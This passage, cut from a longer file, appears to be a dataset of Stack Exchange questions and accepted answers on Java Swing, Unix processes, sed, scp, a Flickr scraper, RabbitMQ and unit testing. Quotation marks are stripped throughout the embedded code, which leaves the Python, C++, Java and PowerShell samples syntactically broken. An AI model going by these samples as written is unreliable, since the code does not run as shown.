keyStroke.toString();                inputMap.put(keyStroke, key);                actionMap.put(key, new KeyBindingsAction(dir, onKeyPress));            }        }    }    public void paintComponent(Graphics g) {        super.paintComponent(g);        square.display(g);    }    private class AnimationListener implements ActionListener {        @Override        public void actionPerformed(ActionEvent e) {            boolean repaint = false;            for (Direction dir : Direction.values()) {                if (dirMap.get(dir)) {                    square.move(dir);                    repaint = true;                }            }            if (repaint)                repaint();        }    }    private class KeyBindingsAction extends AbstractAction {        private Direction dir;        boolean pressed;        public KeyBindingsAction(Direction dir, boolean pressed) {            this.dir = dir;            this.pressed = pressed;        }        @Override        public void actionPerformed(ActionEvent evt) {            dirMap.put(dir, pressed);        }    }    private static void createAndShowGUI() {        GamePanel gamePanel = new GamePanel();        JFrame frame = new JFrame(GamePanel);        frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);        frame.getContentPane().add(gamePanel);        frame.pack();        frame.setLocationRelativeTo(null);        frame.setVisible(true);        gamePanel.requestFocusInWindow();    }    public static void main(String[] args) {        SwingUtilities.invokeLater(new Runnable() {            public void run() {                createAndShowGUI();            }        });    }}enum Direction {    UP(0, -1), DOWN(0, 1), LEFT(-1, 0), RIGHT(1, 0);    private int incrX;    private int incrY;    Direction(int incrX, int incrY) {        this.incrX = incrX;        this.incrY = incrY;    }    public int getIncrX() {        return incrX;    }    public int getIncrY() {        return incrY;    }}class Square {    private int x = 0;    private int y = 0;    private int w = 20;    private int h = w;    private int step = 1;    private Color color = Color.red;    public void display(Graphics g) {        Graphics2D g2d = (Graphics2D) g.create();        g2d.setColor(color);        g2d.fillRect(x, y, w, h);        g2d.dispose();    }    public void setStep(int step) {        this.step = step;    }    public void move(Direction dir) {        if(!(x + step * dir.getIncrX() > GamePanel.getWIDTH() - w) && !(x + step * dir.getIncrX() < 0))            x += step * dir.getIncrX();        if(!(y + step * dir.getIncrY() > GamePanel.getHEIGHT() - h) && !(y + step * dir.getIncrY() < 0))            y += step * dir.getIncrY();    }}"  , "title": "Check for collision with side of screen"  , "tags": "java;swing;collision"  , "accepted_answer": "Change the visibility of WIDTH and HEIGHT to public, so you can call them by GamePanel.WIDTH and GamePanel.HEIGHT. Because for static final variables you never create Getters!And you should change your code like this to improve it's performance:public void move(Direction dir) {    int newX = x + step * dir.getIncrX(), newY = y + step * dir.getIncrY();    if (!(newX > GamePanel.WIDTH - w) && !(newX < 0)) x = newX;    if (!(newY > GamePanel.HEIGHT - h) && !(newY < 0)) y = newY;}"  } 
{  "id": "_softwareengineering.311876"  , "question": "I have been working in embedded devices business more than 5 years as a software engineer. Most of the times our hardware manufacturers provide a Software Development Kit for their reference boards. They are mostly Linux embedded devices. The problem is most of the times we find the management interfaces (Web UI, CLI, SNMP ...) are tightly coupled with the database that stores persistent device configuration and also the interfaces carry out each one in their own all the operations to apply the new setting to the system. For instance when the user updates firewall state via Web UI the web server is performing itself the C system() function calls using iptables rules as argument. It makes us very unproductive because:We can not reuse cohesive components in new products. Specifications for new products are becoming more demanding and embedded system are costly to develop.Management interfaces are not consistent and code is repeated among them. As the code is tightly coupled and the abstraction is bad, the same goes for the tasks. It is difficult to parallelize tasks if the developer of a new functionality should know about the web server or the web server maintainer should know about a functionality implementation details.We can not test components but the whole system.Sometimes the management interfaces call database API to store new setting and after that they call the same function which reads new functionality setting from database and apply the new setting in the system. I think it is not yet a good solution but I would like to hear opinions about this design. Now we are trying to break up the software in responsible components we can reuse in new products. For instance we would like to use current embedded device services in new products, and also we would like to have user interfaces we can easily adapt for a new specification.As software engineer I am aware about the consequences of bad abstraction, low cohesion and poor encapsulation in software design, but I don't have a good background in design patterns. This is our plan:Built a set of C functions for device services that can be called from the user interfaces, exposing an interface that hides all the possible implementation details from the use of the service. There will be functions to change the system time, to manage the GPIOs, to change the firewall state...This services APIs will take care about the persistence of its data by using the API of the persistence layer. The user interfaces will retrieve and set new settings using this API services set of functions. Each API of a service will expose a x_initialize() function so when system boots up a startup manager application can call this function for each service. This functions will retrieve settings for the service from database and apply them into the system by calling the other functions of its own service API. I don't like very much the point 4 above because it looks pretty much like the situation we have now where the user interfaces store new setting in database and call a big function nobody know what this function does until it is seen the implementation details (and looking implementation detail of a function is a bad symptom for me).I am looking for information about design patterns to reuse and separate concerns as persistent layer, user interface and the business or domain objects logic (I am not very sure I use well concepts as domain objects). I would like an explanation with concrete examples I can better understand. "  , "title": "How to uncouple and reuse persistence logic, user interface logic and business logic amongs embedded software projects"  , "tags": "design patterns;database design;linux;embedded systems;coupling"  , "accepted_answer": "What your looking for is an MVC-style framework that runs on you target operating system.  https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controllerThe pattern is very old, has many variants and frameworks are constantly being evolved and new ones developed.  So, all I would venture to do is generalize a bit: the model in MVC has your business/domain-logic-protected and persisted data (meaning it shouldn't let you store something incorrect), the view handles rendering of various model elements to the ui, and the controller handles binding and forwarding of commands from ui controls to the model (requests to make changes) and/or view (e.g commands asking to change views).  A nice MVC framework can make it easier to work at a higher level, so you won't find yourself repeating as much plumbing.As I mentioned, the MVC pattern is rather old, and was originally developed to support the development of UI-based desktop applications.  As such, it did not directly account for persistence the way we think of it today (which is that all changes are automatically persisted; instead it expected the user to open files and save them later).  It is sensible to separate the model into persistence oriented part and a the business logic oriented part (that ensures no dangling references, for example, and enforces any other requirements of the data model).(Also, since you are using a database, you might look into ORM to help with persistence and mapping of persistence to objects and back again.)You're definitely asking the right questions, so keep looking for those common abstractions that you can use across your various projects.  I love it when the code just reads nice because it is high level and uses the right abstractions, which take care of themselves without having often having to dive deeper.  Nicely layered code is so much easier to work with.  The idea is that you create layers by introducing a higher level API and then when a layer above uses it, that layer does not reach around or bypass the next lower layer to talk to an even lower layer.  When you get that you can manage a lot more lines of code than when everything is, perhaps, modular, but at the same level.I'm not very up-to-date on linux MVC or ORM frameworks, but I think this is where you should be looking."  } 
{  "id": "_unix.11172"  , "question": "Transmission is intermittently hanging on my NAS.  If I send SIGTERM, it doesn't disappear from the process list and a <defunct> label appears next to it.  If I send a SIGKILL, it still doesn't disappear and I can't terminate the parent because the parent is init.  The only way I can get rid of the process and restart Transmission is to reboot.I realize the best thing I can do is try and fix Transmission (and I've tried), but I'm a novice at compiling and I wanted to make sure my torrents finished before I start messing around with it."  , "title": "How can I kill a  process whose parent is init?"  , "tags": "kill;signals;process management;init;zombie process"  , "accepted_answer": "You cannot kill a <defunct> (zombie) process as it is already dead. The only reason why the system keeps zombie processes is to keep the exit status for the parent to collect. If the parent does not collect the exit status then the zombie processes will stay around forever. The only way to get rid of those zombie processes are by killing the parent. If the parent is init then you can only reboot.http://en.wikipedia.org/wiki/Zombie_process"  } 
{  "id": "_vi.9344"  , "question": "I have the file /path/a.md which has many sections as follows:# abcthis this the content of section abc# defthis this the content of section abc## defgthis this the content of subsection defg of defAnd in an other file /path/b.md I have the the following:I want to switch to def section by this link [section def in a.md](./a.md#def), yeh the file name and the section name are separated by # and this kind of link is also possible:[subsection defg in a.md](./a.md##defg)"  , "title": "Open markdown filename under cursor like gf, and jump to the section?"  , "tags": "key bindings;multiple files;filetype markdown"  , "accepted_answer": "This function is not thoroughly tested but it should provide a good enough bootstrap for your own experiments.In ~/.vim/after/ftplugin/markdown.vim:function! s:MDGoToSection()    let raw_filename = expand('<cfile>')    let arg = substitute(raw_filename, '\\([^#]*\\)\\(#\\{1,6\\}\\)\\([^#]*\\)', '+\\/\\2\\\\\\\\s\\3 \\1', 'g')    execute edit argendfunctionnnoremap <buffer> <key> :call <SID>MDGoToSection()<CR>ExplanationThe filename under the cursor is split into three groups:\\([^#]*\\)......................... everything before the first #                       \\(#\\{1,6\\}\\)............. 1 to 6 #                     \\([^#]*\\).... everything after #######and reordered into a proper argument for :edit:+\\/\\2\\\\\\\\s\\3 \\1which should split ./foo.md##bar into ./foo.md, ##, and bar, and finally pass +/##\\\\sbar ./foo.md to :edit::edit +/##\\\\sbar ./foo.md"  } 
{  "id": "_webapps.27059"  , "question": "I'm considering setting up a Facebook account but have some concerns about privacy. Specifically, I don't want Facebook to provide the name of Friend A (say) to Friend B if I haven't agreed to this myself.I'm aware that I can hide my list of friends on Facebook. The question is whether such friends will turn up on other peoples' People You May Know list.For example, if I am friends with two people, A and B, and have hidden my friend list to everyone but myself, will person B see person A on the People You May Know list, or vice versa?Please respond only if you're 100% sure about this."  , "title": "How to keep my friends (100%) private on Facebook"  , "tags": "facebook;friends"  } 
{  "id": "_unix.248600"  , "question": "I have a script that reads a file of about 3GB and sends it through a pipeline involving a very small number of replacements in a very small part of the file. To accomplish this with minimal overhead, the script specifies a small known range within which to make the replacements using sed '/begin/,/end/'. I would like to add another couple replacements in another small, known, regex-delimited range in the same file. If I pipe through sed again, that introduces unnecessary overhead, and won't scale up nicely.Is there a way to specify two ranges between patterns if I know the order in which they will appear in the file, such that the file only needs to be read once?Something like 'sed '/begin1/,/end1/ ... /begin2/,/end2/' is what I have in mind.The sed manual states An address range can be specified by specifying two addresses separated by a comma (,).But it doesn't mention specifying sets of two addresses each."  , "title": "sed: multiple ranges between patterns, with one pass"  , "tags": "sed;performance;patterns"  , "accepted_answer": "You don't need to know which range appears first in the file.  You can write the obvious:#/bin/sed -f/begin1/,/end1/{# commands specific to range 1}/begin2/,/end2/{# commands specific to range 2}and it will Just Work.Sed always makes a single pass through its inputs, reading each line, processing it through the commands you've given it, and then writing (or not, as appropriate).  You can prove this by executing sed in a pipeline (piped input is not seekable, so multi-pass operation is not possible)."  } 
{  "id": "_unix.115031"  , "question": "I've installed program trickle that allow to throttle the net for specified command like:trickle -u10 -d10 <COMMAND>How to add bash completion for all binaries to trickle command?"  , "title": "How to add all binaries to bash tab completion for some command?"  , "tags": "bash;autocomplete"  , "accepted_answer": "Do you have, and load, the file /etc/bash_complete or an equivalent directory? It defines a bunch of completions and extension facilities beyond what's built into bash. If you have access to them, you can probably just usecomplete -o filenames -F _command trickleIt will complete the first argument of trickle as a command, and will then try to apply appropriate completion rules for subsequent arguments. But it depends on the shell function _command, which is defined in the above file (in my Debian system, at least). YMMV on other Linux distributions, and the file doesn't seem to be present in Darwin (OS X 10.8). "  } 
{  "id": "_unix.312655"  , "question": "I am trying to convert a file from utf-8 to ms-ansi.I use  iconv -f UTF8 -t MS-ANSI// < data.txtbut get  iconv: illegal input sequence at position 171359when looking into this dd if=data.txt of=error.txt bs=1 count=10 skip=171359I get this: hexdump -C error.txt 00000000  ef bb bf 38 3a 6e 61 09  38 3a                    |...8:na.8:| 0000000ais the file not utf-8, and if not, what should I use instead with iconv?"  , "title": "Why can't I convert a UTF-8 to MS-ANSI using iconv?"  , "tags": "text processing;character encoding"  } 
{  "id": "_softwareengineering.205600"  , "question": "I am a single developer working on a large system.  I was recently informed that there may be an opportunity to recruit another developer or maybe two.  I have incorporated source control into my approach using Subverison and Tortoise SVN.I was talking to another developer who I used to work with recently and he reminded me about the concept of a compilation tool chain and specifically nightly builds for unit testing.  I have two questions:Is it good practice for all software development teams to use unit testing and nightly builds? Is there any criteria that identifies teams that are more suitable than others for nightly builds.How do developers identify areas suitable for unit testing? I assume that you look at the use cases.  I assume that these use cases could include different processing methods e.g. users interacting with a web application or a batch processing job that runs via a scheduled task each night. "  , "title": "Source control and compilation tool chain"  , "tags": "version control;builds"  } 
{  "id": "_webmaster.48238"  , "question": "I have a client who recently did a re-design on his website. The designer did not put any effort in keeping the same URL or do any redirects. I've made a list of the old URLs, what I want to do now is check if these URLs have links that pass any juice.Can anyone tell me if it's possible to see if the old URLs that are linking to 404 carry any backlinks and how to do that?"  , "title": "Check old urls for backlinks - same domain new design and urls"  , "tags": "seo;search engines;301 redirect;backlinks;anchor"  , "accepted_answer": "Google Webmaster Tools is probably your easiest bet here. In the 'Crawl Errors' section it will list 404s it found crawling your site, along with the pages that link to them. It may not be a completely exhaustive list but it will have the majority of them."  } 
{  "id": "_unix.89887"  , "question": "I'm developing a utility that needs to do low-level random access of disks (read individual sectors). In Linux I accomplish this by accessing the corresponding block device (e.g. /dev/sda).  However, I've just installed FreeBSD, and I noticed that it doesn't have block devices. Instead, disks appear as character devices, which don't allow random seeking.Is there a way to accomplish this in FreeBSD? (i.e. low-level random access)"  , "title": "Low-level disk access in FreeBSD"  , "tags": "freebsd;block device"  , "accepted_answer": "Disk character devices are equally if no more low level than block devices and are hopefully randomly seekable. One major difference between block devices and raw ones is the former are buffered while the latter are synchronous. That's the reason why FreeBSD dropped disk block devices. "  } 
{  "id": "_unix.29247"  , "question": "I'm on a macbook running Lion. In Terminal I'm connected to my schools server with ssh. I navigated to a folder on the server and have a file I want to copy to my local machine, but I don't know what the IP address of my local machine is. How can I get it? I'm in the folder on the server, and I want to copy read.txt onto my local machine's hard drive. I've tried scp ./read.txt [my computer name].local/newRead.txt but it doesn't work."  , "title": "How can I get the address of my local machine?"  , "tags": "ssh;ip;remote;file copy"  , "accepted_answer": "You don't need to know your own host's IP address in order to copy files to it. Simply use scp to copy the file from the remote host:$ scp user@rhost.com:path/to/read.txt ~/path/to/newRead.txtIf you want to copy to your local host from your remote host, get your own IP address with ifconfig and issue the following:$ scp path/to/read.txt user@1.2.3.4:path/to/newRead.txtwhere 1.2.3.4 is your local IP address. A convenient way to extract a host's IP address is using this function:ipaddr() { (awk '{print $2}' <(ifconfig eth0 | grep 'inet ')); }where eth0 is your network interface. Stick it in ~/.bash_profile in order to run it as a regular command - ipaddr."  } 
{  "id": "_cstheory.19969"  , "question": "I heard that there exist two styles to define an evaluation context: outside-in and inside-out.  Can someone give the definitions?  Why are they so named (inside-out and outside-in)?  What is the difference?  Some examples would be appreciated."  , "title": "Evaluation contexts: outside-in vs inside-out"  , "tags": "pl.programming languages;lambda calculus;functional programming;operational semantics"  } 
{  "id": "_codereview.146674"  , "question": "I went about this the way I have because Selenium is slow and inconvenient (opens browser) and I was unable to find the href attribute in the link element using BeautifulSoup. Html included below. On the downside, this appears to only ever find 25 images.#! python3# Saves photos to file from flickr.com using specified search termimport bs4import loggingimport osimport reimport requestsimport shutilimport sysimport timedef find_link(element):    Finds link using a regular expression    link_regex = re.compile(r//c\\d+.staticflickr.com/\\d+/\\d+/\\w+\\.jpg)    # dictionary of element attributes    element_attr_dict = element.attrs    # get list of element attribute values wherein image link lies       attr_list = [element_attr_dict[key] for key in element_attr_dict.keys()]    attr_string =     # link exists within a string list element    for element in attr_list:        if type(element) == str:            attr_string += element    match = link_regex.search(attr_string)    if match:        link = https: + match.group()    else:        link = None    return linkdef main():    Downloads specified type/number of 'flickr' images to folder    Takes three command line arguments: filename, search_term, number_    images. Saves images to folder. Number of images saved based upon    number requested by user or number found during search. Whichever is    lower.    Arguments:    search_term   -- search image site using this term    number_images -- maximum number of images to save to folder        try:        search_term, number_images = sys.argv[1:]        number_images = int(number_images)    except ValueError:        print(Something went wrong. Command line input must be of \\format: 'filename searchterm numberimages')        return    links = []    # make folder to store photos and name using search term    html_path = rC:\\Users\\Dave\\Desktop\\2016Coding\\AutomateBoring\\11 + \\                r-WebScraping\\flickrhtml.txt    path = \\    rC:\\Users\\Dave\\Desktop\\2016Coding\\AutomateBoring\\11-WebScraping + \\    r\\gimages\\requests    folder_path = os.path.join(path, search_term)    if os.path.exists(folder_path):        shutil.rmtree(folder_path)    os.makedirs(folder_path)    print(Finding photos...)    # get links to photos    res = requests.get(https://www.flickr.com/search/?text= + search_term)    res.raise_for_status()    soup = bs4.BeautifulSoup(res.text, html.parser)    found_elems = soup.select(.photo-list-photo-view)    # incase number found images < requested    number_save_images = min(number_images, len(found_elems))    print(Found {} images.format(number_save_images))    for found_elem in found_elems[:number_save_images]:        link = find_link(found_elem)        links.append(link)    # write images to file    print(Writing images to folder...)    for image_link in links:        basename = os.path.basename(image_link)        save_file_name = os.path.join(folder_path, basename)        res = requests.get(image_link)        res.raise_for_status()        with open(save_file_name, wb) as f:            for chunk in res.iter_content(100000):                f.write(chunk)    print(Images saved at: {}.format(folder_path))    print(*****Done*****)if __name__ == __main__:    main()"  , "title": "Image hosting site image downloader using requests and BeautifulSoup"  , "tags": "python;web scraping;beautifulsoup"  , "accepted_answer": "According to PEP8 standard library import should be first.Function find_link(element):The docstring of the function find_link should probably say something about the argument type.Why is the argument element (and not element_attributes) when it looks like all you use is element.attrs?The list comprehension could be written as: attr_list = list(element_attr_dict.values()) But, you don't need it at all. You can simply write for element in attr_dict.values().To summarize, you can delete most lines in the beginning. Instead start withdef find_link(element_attributes):    link_regex = re.compile(r//c\\d+.staticflickr.com/\\d+/\\d+/\\w+\\.jpg)    attr_string =     for element in element_attributes.values():        ...As for the main function:Investigate argparse.Use logging instead of print.Split the main function to sub-functions. At least saving an image from a link should probably be one.The for loop where you append a link to a list can be expressed as a list comprehension.I hope that helps!"  } 
{  "id": "_softwareengineering.305088"  , "question": "Suppose I have a sorted array which contains n integers.How do I find subset of size k such that the minimum distance between all pairs of integers in the subset is maximized, I mean they are at maximal distance.example: array a[]={1,2,6,7,10} and k=3,subset = {1,6,10}, the minimum distance is 4 between 10 and 6.Wrong subsets:{1,7,10} , minimum distance is 3{1,2,6} , minimum distance is 1 My first thought was to get all the combinations in the size of k, then calculate the distance of each one. But the time complexity would be O(n!), and the interviewer doesn't like it. Dynamic Programming is the hint he gave me, but I still have no idea.He suggested that I can start from a[0], find a[0]+x=Y also in the array... and then Y+x and so on k-1 times, also kth element will be a[n-1], but I couldn't get him. I don't know why there must be such a x, like in the example above, the correct answer is {1,6,10}, the distance between 1 and 6 is 5, and it's 4 between 6 and 10, then what should x be?"  , "title": "How to find a subset of size k such that the minimum distance between values is maximum"  , "tags": "java;dynamic programming"  } 
{  "id": "_codereview.134558"  , "question": "I'm in the process of adapting the simple thread pool described here to my application. I'm new to concurrency in Ruby, but here is what I have so far:queue = Queue.newdata.each { |datum| queue.push datum }mutex = Mutex.newresults = []threads = (1..8).map do  Thread.new do    abort_on_exception = true    while datum = queue.pop(true) rescue exit      next unless datum.process?      result = process(datum)      mutex.synchronize { results << result }    end  endendthreads.map(&:join)Do you see any obvious mistakes and/or ways this code could be improved, cleaned up or made more Ruby-ish?I'm setting abort_on_exception = true because I'd like the entire processing effort to halt immediately should one datum fails to process correctly."  , "title": "Ruby thread pool implementation"  , "tags": "ruby;multithreading;ruby on rails;concurrency"  } 
{  "id": "_webapps.6895"  , "question": "I need a light weight web based note keeping application. The app should be runnable on Android/ iphone.I need such an app because I find that I do grocery shopping once in a week, and by the time I get to do shopping, I forget what I want to buy already.So I need such an app so that I can jot down my necessities in my daily life, and view the list when I'm doing the shopping.Does such an app already available?Gmail task is a good choice. But it is a bit too general. Edit: Thanks for all the recommendation! But I would prefer the one with OpenID support even though it has less features, rather than the one without with more features. "  , "title": "Light Weight Web Based Note Keeping Application"  , "tags": "notes"  } 
{  "id": "_unix.62939"  , "question": "I'm developing a little application for Gnome, Unity and KDE desktops. I want the application icons to be fully theme aware.Now, I'm including the icons on the application directory on /usr/lib/my-application/ as SVG, and I'm loading them with the full path. I suppose this is fine as the start point, but I want to integrate them on the system better.My motivation: I don't want to break the Humanity and Humanity-Dark themes --very worried about the Indicator panel looks. How do I provide Humanity and Humanity-dark icons? How do I know the current theme? Should I ask for it?I'm using mostly bash and python."  , "title": "Where place own application icons? How to get the current theme icons?"  , "tags": "bash;gnome;kde;icons;freedesktop"  } 
{  "id": "_codereview.131491"  , "question": "Today I had to write a small tool to help me send HTTP requests in bulk. Rabbit was overloading my server, so I decided to change my consumers to buffer the contents of the request, before sending. After changing my API, I did this:#include <amqpcpp.h>#include <amqpcpp/libev.h>#include <ev.h>#include <cpr/cpr.h>typedef std::unordered_map<std::string, std::ostringstream> HttpBuffer;const char* RabbitQueue = getenv(RABBIT_NAME);char QueueAddress[128];int main(){    sprintf(QueueAddress, amqp://%s:%s, getenv(RABBIT_HOST), getenv(RABBIT_PORT));    int MaxThreads = std::thread::hardware_concurrency();    std::vector<std::thread> threads;    for (int i = 0; i < MaxThreads; i++) {        threads.push_back(std::thread(RabbitThread));    }    for (std::thread &thread : threads) {        thread.join();    }    threads.clear();}void RabbitThread(){    struct ev_loop *loop = ev_loop_new(0);    AMQP::LibEvHandler handler(loop);    AMQP::TcpConnection connection(&handler, AMQP::Address(QueueAddress));    AMQP::TcpChannel channel(&connection);    AMQP::MessageCallback onMessage = [&channel](const AMQP::Message &message, uint64_t deliveryTag, bool redelivered) {        HttpBuffer[message.replyTo()] << message.message().c_str() << ,;        if (HttpBuffer[message.replyTo()].tellp() < 300000) {            channel.ack(deliveryTag);            return;        }        cpr::PostCallback(handle_response, cpr::Url{http://localhost:8888}, cpr::Body{HttpBuffer[message.replyTo()].str()});        HttpBuffer[message.replyTo()].str();        channel.ack(deliveryTag);    };    channel.declareQueue(RabbitQueue);    channel.bindQueue(default, RabbitQueue, default);    channel.consume(RabbitQueue).onReceived(onMessage);    ev_run(loop);    ev_loop_destroy(loop);}What do you guys think? How can I improve this one?"  , "title": "Bulk HTTP request queue consumer"  , "tags": "c++;c++11;rabbitmq"  } 
{  "id": "_unix.227177"  , "question": "How would a single administrator go about locking himself out of a file for 24 hours?By lock I mean prevent access.I have removed the 'rules' placed on the original post, as it is clear that the strategies are dependent on what is being locked."  , "title": "How would an administrator of a system prevent himself access to a file for 24 hours?"  , "tags": "linux;bash;files;permissions"  } 
{  "id": "_unix.330637"  , "question": "I am trying to install the GitLab community package on a Debian Stretch system, but one of its dependencies, redis-server, fails to install when starting the service using systemd.Complete log:$ sudo dpkg --configure redis-serverSetting up redis-server (3:3.2.5-4) ...Job for redis-server.service failed because the control process exited with error code.See systemctl status redis-server.service and journalctl -xe for details.invoke-rc.d: initscript redis-server, action start failed. redis-server.service - Advanced key-value store   Loaded: loaded (/lib/systemd/system/redis-server.service; enabled; vendor preset: enabled)   Active: activating (auto-restart) (Result: exit-code) since Thu 2016-12-15 15:00:17 UTC; 31ms ago Docs: http://redis.io/documentation,       man:redis-server(1)  Process: 8764 ExecStart=/usr/bin/redis-server /etc/redis/redis.conf (code=exited, status=227/NO_NEW_PRIVILEGES)  Process: 8761 ExecStartPre=/bin/run-parts --verbose /etc/redis/redis-server.pre-up.d (code=exited, status=227/NO_NEW_PRIVILEGES) Main PID: 24283 (code=exited, status=227/NO_NEW_PRIVILEGES)Dec 15 15:00:17 Serverdatorn-Debian systemd[1]: redis-server.service: Unit entered failed state.Dec 15 15:00:17 Serverdatorn-Debian systemd[1]: redis-server.service: Failed with result 'exit-code'.dpkg: error processing package redis-server (--configure): subprocess installed post-installation script returned error exit status 1Errors were encountered while processing: redis-serverStarting redis-server by running the executable manually works perfectly:$ sudo /usr/bin/redis-server /etc/redis/redis.conf$ sudo tail /var/log/redis/redis-server.log...* The server is now ready to accept connections on port 6379If there is any other information you want me to provide, please tell me.EDIT:I tried setting NoNewPrivileges to both yes and no in the redis.service file, reloading and starting it again, but no luck, same error. I did find that running journalctl -xe showed another message that might be helpful: redis-server.service: Failed at step NO_NEW_PRIVILEGES spawning /usr/bin/redis-server: Invalid argument"  , "title": "How to resolve systemd (code=exited, status=227/NO_NEW_PRIVILEGES)?"  , "tags": "debian;systemd;redis"  , "accepted_answer": "I would guess you are running into this result of the systemd NoNewPrivileges= directive. Assuming that the redis-server package generally works Ubuntu 16.04 systems, this suggests that your system may custom global settings for NoNewPrivileges= or a related directive that's causing Redis to fail to start.Read the docs linked about about NoNewPrivileges= and the related directives, then search in your /etc/systemd/ directory to see if any of those values have been customized on your system. If not, confirm that the  redis package you are installing is indeed supported on the operating system version you are installing it on."  } 
{  "id": "_softwareengineering.171316"  , "question": "I have some contextthen I can do:with context.getError(Object): ErrorHolderholder.addError(error)ORcontext.setError(Object, error)setError will probably have this implementation:context.getError(Object).addError(error)what approach should I choose and why?"  , "title": "two ways of doing the same thing, what is preferred?"  , "tags": "java;design patterns"  , "accepted_answer": "I would definitely go with the second method. Why?Well it seems to be the simplest answer. In the first instance it will require two calls everytime you need to add or get an error from your context. There is another alternative, provided that you are providing your Object classes and they are not generated by some 3rd party lib.You can add an ErrorCollection property to the base class of your data objects that keeps errors. That way when your object moves around the errors are linked with it. That way you will haveobject.addError()object.getError(index)This is cleaner because you are not maintaining objects and a relation of objects to their errors. "  } 
{  "id": "_cseducators.2520"  , "question": "It is said that metaphors can do more harm than good, and I agree that other methods should be developed, like the notional machine idea. However, computer science is not like anything else, because it is a constructed reality. It therefore seems like the best way to teach it is to show students how a new concept is similar to or related to things they are already familiar with.What do you do to work around the the problems of using metaphors to teach, such as students' cultural divergence (and therefore ability to understand the metaphor)?"  , "title": "Avoiding difficulties when teaching with metaphors"  , "tags": "teaching analogy;classroom management;engagement"  , "accepted_answer": "I think you pretty much need to use metaphor/analogy initially. The students need a hook to get called into the game. You make a good point, though, about finding metaphors that work with the generation of students you are teaching. It isn't so much a problem if you teach the same things (same sort of things even) over many years as you can evolve along with your students. One Pedagogical Pattern is Consistent Metaphor, which suggests that the parts of the thing being taught needs to map onto the parts or elements of the metaphor. This may be easiest if you use a Physical Analogy (another pedagogical pattern) as the parts of the analogy object are often pretty obvious. But without metaphor you are pretty much limited to technical detail, which can be hard to visualize and map to a mental model. However, every metaphor has limits. You need to make the students aware of the limits. This is how A is like B. This is how A is NOT like B. Equally important, or students can go astray. "  } 
{  "id": "_unix.17956"  , "question": "Suppose I run the following commands:export STR=abcdef.ghijkl.mnopqr.stuvwy.logecho $STR | sed 's/\\.[^.]*$//'I am getting the following result:abcdef.ghijkl.mnopqr.stuvwyPlease help me understand the above result."  , "title": "Facing problem with Regex Inside Sed Command"  , "tags": "sed"  , "accepted_answer": "Your sed pattern \\.[^.]*$ has only one match to the original string: .log.Details:\\. match only a dot character.[^.] matches any character different from .[^.]* matches any sequence of characters different from .$ matches the end of line.So here the final .log is the only match (.stuvwy.log is not a match because it contains an internal dot). sed will substitute this by the empty string as requested by the command s/\\.[^.]*$//. Therefore you end up with:abcdef.ghijkl.mnopqr.stuvwy"  } 
{  "id": "_codereview.59037"  , "question": "Is there a simple way to combine the functions of this Powershell script?  It would be nice to have it file to one output file instead of several output files.    GET-DATEWRITE-EVENTLOG -logname Application -Source BLERG -EventID 1000 -entrytype Information -message START CBM_PARSE.ps1 -category 1############################################################################################################################################$SA_Location = E:\\Users\\jsweeton\\Documents\\SITES\\CBM\\Storage Analysis\\CBM-FS3SET-LOCATION $SA_Location$filenames = @(GET-CHILDITEM $SA_Location -recurse -include *.csv)$regex = '^([^-]+-[^-]+)-([A-Z])-(\\d{4})(\\d\\d)(\\d\\d).+'# $PIPE = ,$PIPE = $([char]0x2C)# $SLASH = \\$SLASH = $([char]0x5C)# $DSLASH = \\$DSLASH = $([char]0x5C)$([char]0x5C)foreach ($file in $filenames) {$outfile = $file + .out$ReplaceString = ($file | Split-Path -leaf) -replace $regex,'$1|$3-$4-$5|$2:'((GET-CONTENT $file| Out-String).Substring(7))  | FOREACH-OBJECT -Verbose {       $_ -replace \\\\,\\\\ `        -replace $PIPE,| `        -replace E:,$ReplaceString `    } | SET-CONTENT  $outfile}GET-DATEWRITE-EVENTLOG -logname Application -Source BLERG -EventID 1002 -entrytype Information -message END Parsing -category 1ECHO END PARSE############################################################################################################################################GET-DATEWRITE-EVENTLOG -logname Application -Source BLERG -EventID 1000 -entrytype Information -message START CBM-FS3 -category 1GET-CONTENT (GET-CHILDITEM E:\\Users\\jsweeton\\Documents\\SITES\\CBM\\Storage Analysis\\CBM-FS3\\*.out) | out-file -encoding UTF8 C:\\Users\\jsweeton\\Documents\\SITES\\CBM\\Storage Analysis\\CBM-FS3\\CBM-FS3.txtWRITE-EVENTLOG -logname Application -Source BLERG -EventID 1002 -entrytype Information -message END CBM-FS3 -category 1ECHO END CBM-FS3<#GET-DATEWRITE-EVENTLOG -logname Application -Source BLERG -EventID 1000 -entrytype Information -message START CBM-FS56 -category 1GET-CONTENT (GET-CHILDITEM C:\\Users\\jsweeton\\Documents\\SITES\\CBM\\Storage Analysis\\CBM-FS56\\*.out) | out-file -encoding UTF8 C:\\Users\\jsweeton\\Documents\\SITES\\CBM\\Storage Analysis\\CBM-FS04\\CBM-FS04.txtWRITE-EVENTLOG -logname Application -Source BLERG -EventID 1002 -entrytype Information -message END CBM-FS56 -category 1ECHO END CBM-FS56#>GET-DATEWRITE-EVENTLOG -logname Application -Source BLERG -EventID 1002 -entrytype Information -message END CBM_PARSE.ps1 -category 1ECHO END END############################################################################################################################################"  , "title": "Adding file name information to CSV file columns"  , "tags": "csv;powershell"  } 
{  "id": "_softwareengineering.348295"  , "question": "I have been tasked with writing unit tests for an existing application. After finishing my first file, I have 717 lines of test code for 419 lines of original code.Is this ratio going to become unmanageable as we increase our code coverage? My understanding of unit testing was to test each method in the class to ensure that every method worked as expected. However, in the pull request my tech lead noted that I should focus on higher level testing. He suggested testing 4-5 use cases that are most commonly used with the class in question, rather than exhaustively testing each function.I trust my tech lead's comment. He has more experience than I do, and he has better instincts when it comes to designing software. But how does a multi-person team write tests for such an ambiguous standard; that is, how do I know my peers and I share the same idea for most common use cases?To me, 100% unit test coverage is a lofty goal, but even if we only reached 50%, we would know that 100% of that 50% was covered. Otherwise, writing tests for part of each file leaves a lot of room to cheat."  , "title": "Is there such a thing as having too many unit tests?"  , "tags": "unit testing;tdd"  , "accepted_answer": "Yes, with 100% coverage you will write some tests you don't need.  Unfortunately, the only reliable way to determine which tests you don't need is to write all of them, then wait 10 years or so to see which ones never failed.Maintaining a lot of tests is not usually problematic.  Many teams have automated integration and system tests on top of 100% unit test coverage.However, you are not in a test maintenance phase, you are playing catch up.  It's a lot better to have 100% of your classes at 50% test coverage than 50% of your classes at 100% test coverage, and your lead seems to be trying to get you to allocate your time accordingly.  After you have that baseline, then the next step is usually pushing for 100% in files that are changed going forward."  } 
